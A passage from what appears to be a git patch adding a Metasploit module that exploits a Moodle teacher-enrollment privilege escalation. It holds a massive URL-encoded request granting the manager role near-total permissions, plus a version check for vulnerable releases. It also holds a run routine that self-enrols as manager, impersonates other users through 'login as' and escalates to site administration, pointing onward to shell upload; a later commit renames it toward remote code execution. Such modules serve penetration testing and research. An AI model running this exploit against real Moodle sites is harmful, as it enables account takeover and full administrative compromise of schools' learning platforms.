moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=1&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=1&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=1&report%2Fusersessions%3Amanageownsessions=1&tool%2Fdataprivacy%3Adownloadallrequests=1&tool%2Fdataprivacy%3Adownloadownrequest=1&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=1&tool%2Fdataprivacy%3Amakedatarequestsforchildren=1&tool%2Fdataprivacy%3Arequestdelete=1&tool%2Fpolicy%3Aacceptbehalf=1&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=1&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=1&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=1&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=1&block%2Frecent_activity%3Aviewaddupdatemodule=1&block%2Frecent_activity%3Aviewdeletemodule=1&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=1&enrol%2Fflatfile%3Aunenrol=1&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=1&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=1&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=1&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=1&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=1&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=1&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=1&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=1&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=1&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=1&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=1&moodle%2Fcourse%3Aisincompletionreports=1&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=1&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=1&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=1&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=1&webservice%2Fsoap%3Ause=1&webservice%2Fxmlrpc%3Ause=1&atto%2Fh5p%3Aaddembed=1&atto%2Frecordrtc%3Arecordaudio=1&atto%2Frecordrtc%3Arecordvideo=1&booktool%2Fexportimscp%3Aexport=1&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=1&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=1&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=1&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=1&mod%2Fchoice%3Achoose=1&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=1&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=1&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=1&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=1&mod%2Ffolder%3Aview=1&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=1&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=1&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=1&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=1&mod%2Flabel%3Aview=1&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=1&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=1&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=1&mod%2Fquiz%3Aattempt=1&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=1&mod%2Fquiz%3Aemailnotifysubmission=1&mod%2Fquiz%3Aemailwarnoverdue=1&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=1&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=1&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=1&mod%2Fscorm%3Adeleteownresponses=1&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=1&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=1&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=1&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=1&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=1&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=1&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=1&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=1&quiz%2Fgrading%3Aviewstudentnames=1&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes" + }) + fail_with(Failure::Unreachable, 'Error changing manager role permissions') unless res + end + + def check + return Exploit::CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? + + v = moodle_version + return Exploit::CheckCode::Detected('Unable to determine moodle version') if v.nil? + + # https://moodle.org/mod/forum/discuss.php?d=407393 + v = Rex::Version.new(v) + if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) || + v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) || + v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) || + v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) || + v.between?(Rex::Version.new('3'), Rex::Version.new('3.5')) + return Exploit::CheckCode::Appears("Exploitable Moodle version #{v} detected") + end + + Exploit::CheckCode::Safe("Non-exploitable Moodle version #{v} detected") + end + + def run + print_status("Authenticating as user: #{datastore['USERNAME']}") + cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? + cookies.each do |cookie| + cookie_jar.add(cookie) + end + + userid, courseid, sesskey = get_user_info + print_good("User ID: #{userid}") + print_good("Course ID: #{courseid}") + print_good("Sessionkey: #{sesskey}") + print_status('Retrieving course enrollment id') + enrolid = get_course_enrol_id(courseid) + print_good("Enrol ID: #{enrolid}") + print_status('enroling self in class as manager') + success = enrol(userid, courseid, enrolid, sesskey) + fail_with(Failure::NoAccess, 'Unable to enrol in course') unless success + print_good('Successfully enrolled') + print_status('enroling a manager in class') + Array(2...datastore['MAXUSERS']).each do |id| + next if id == userid + + print_status("Attempting user: #{id}") + success = enrol(id, courseid, enrolid, sesskey, '5') + fail_with(Failure::NoAccess, 'Unable to enrol in course') unless success + print_good('Successfully enrolled') + end + print_status('Retrieving course context id') + contextid = get_course_context_id(courseid) + print_good("Context ID: #{contextid}") + managers = get_course_managers(contextid) + print_good("Enrolled user IDs: #{managers}") + # loop through all maangers looking for a 'login as' link + managers.each do |manager| + next if manager == userid + + print_status("Attempting loginas for user id: #{manager}") + res = moodle_loginas(courseid, manager, sesskey) + res.body =~ %r{You are logged in as [^>]+>([^<]+)} + print_status("Logged in as: #{Regexp.last_match(1)}") + if res.body.include?('Site administration') + print_good('looks like a potential admin!') + end + res.body =~ /"sesskey":"(.*?)"/ + new_sesskey = Regexp.last_match(1) + print_status("Attempting via new session key: #{new_sesskey}") + give_manager_all_permissions(new_sesskey) + print_status('Checking if permissions were set successfully') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'search.php') + }) + fail_with(Failure::Unreachable, 'Error retrieving settings') unless res + if res.body.include?('Install plugins') + print_good('Manager roll full permissioned, try exploit/multi/http/moodle_admin_shell_upload') + return + end + end + print_bad('Failed to upgrade permissions on manager roll') + end + + # prefer cleanup over on_session since we may have changed things, regardless of successful exploit + # def cleanup + # print_status('Sleeping 5 seconds before cleanup') + # Rex.sleep(5) + # print_status("Authenticating as user: #{datastore['USERNAME']}") + # cookie_jar.clear # clear cookies to prevent timeouts + # cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) + # if cookies.nil? || cookies.empty? + # print_bad('Failed login during cleanup') + # else + # cookies.each do |cookie| + # cookie_jar.add(cookie) + # end + # # XXX reset + # end + # super + # end +end From 3580920dde33034709496289d0a6ea1866d34f95 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 1 Sep 2021 17:36:38 -0400 Subject: [PATCH 11/15] moving more to libs --- lib/msf/core/exploit/remote/http/moodle.rb | 1 + .../core/exploit/remote/http/moodle/uris.rb | 15 +- .../multi/http/moodle_admin_shell_upload.rb | 171 +++--------------- ...dle_teacher_enrollment_priv_esc_to_rce.rb} | 14 +- 4 files changed, 49 insertions(+), 152 deletions(-) rename modules/{auxiliary/admin/http/moodle_teacher_enrollement_priv_esc.rb => exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb} (98%) diff --git a/lib/msf/core/exploit/remote/http/moodle.rb b/lib/msf/core/exploit/remote/http/moodle.rb index ff77992609..627ee202df 100644 --- a/lib/msf/core/exploit/remote/http/moodle.rb +++ b/lib/msf/core/exploit/remote/http/moodle.rb @@ -13,6 +13,7 @@ module Msf include Msf::Exploit::Remote::HTTP::Moodle::Helpers include Msf::Exploit::Remote::HTTP::Moodle::Login include Msf::Exploit::Remote::HTTP::Moodle::Course + include Msf::Exploit::Remote::HTTP::Moodle::Admin def initialize(info = {}) super diff --git a/lib/msf/core/exploit/remote/http/moodle/uris.rb b/lib/msf/core/exploit/remote/http/moodle/uris.rb index 102f91ddf5..09c1525d9e 100644 --- a/lib/msf/core/exploit/remote/http/moodle/uris.rb +++ b/lib/msf/core/exploit/remote/http/moodle/uris.rb @@ -15,17 +15,24 @@ module Msf::Exploit::Remote::HTTP::Moodle::URIs normalize_uri(target_uri.path, 'course', 'loginas.php') end - # Returns the Moodle AJAX Course Enrollment + # Returns the Moodle AJAX Course Enrollment URL # - # @return [String] Moodle AJAX course enrolment + # @return [String] Moodle AJAX course enrolment URL def moodle_enrol_ajax normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php') end - # Returns the Moodle User Home + # Returns the Moodle User Home URL # - # @return [String] Moodle User Home + # @return [String] Moodle User Home URL def moodle_user_home normalize_uri(target_uri.path, 'user', 'index.php') end + + # Returns the Moodle Admin Addon Installation URL + # + # @return [String] Moodle admin addon installation URL + def moodle_admin_addon_install + normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php') + end end diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 27d6c28827..700d51ee2b 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -61,157 +61,33 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def create_plugin_file + def create_addon_file # There are syntax errors in creating zip file. So the payload was sent as base64. plugin_file = Rex::Zip::Archive.new - @header = Rex::Text.rand_text_alpha_upper(4) - @plugin_name = 